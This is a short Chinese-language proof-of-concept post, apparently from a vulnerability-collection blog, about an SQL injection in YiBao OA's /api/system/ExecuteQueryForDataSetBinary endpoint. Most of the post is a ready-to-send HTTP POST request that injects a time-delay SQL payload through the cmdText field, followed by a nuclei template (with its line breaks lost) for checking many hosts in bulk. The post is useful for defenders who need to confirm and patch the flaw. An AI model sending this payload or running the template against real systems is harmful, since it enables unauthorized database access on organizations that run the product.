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漏洞描述

易宝OA的/api/system/ExecuteQueryForDataSetBinary处存在sql注入漏洞

漏洞复现

打开页面

构造payload

POST /api/system/ExecuteQueryForDataSetBinary HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 43token=zxh&cmdText=;WAITFOR DELAY '0:0:2'--+

nuclei批量验证

id: YiBao-OA-ExecuteQueryForDataSetBinary-sqliinfo:name: YiBao-OA-ExecuteQueryForDataSetBinary-sqliauthor: changgeseverity: criticalhttp:- raw: - |POST /api/system/ExecuteQueryForDataSetBinary HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 43token=zxh&cmdText=;WAITFOR DELAY '0:0:2'--+matchers:- type: dsldsl: - 'duration>=2'

github poc总汇地址：https://github.com/AYcg/poc

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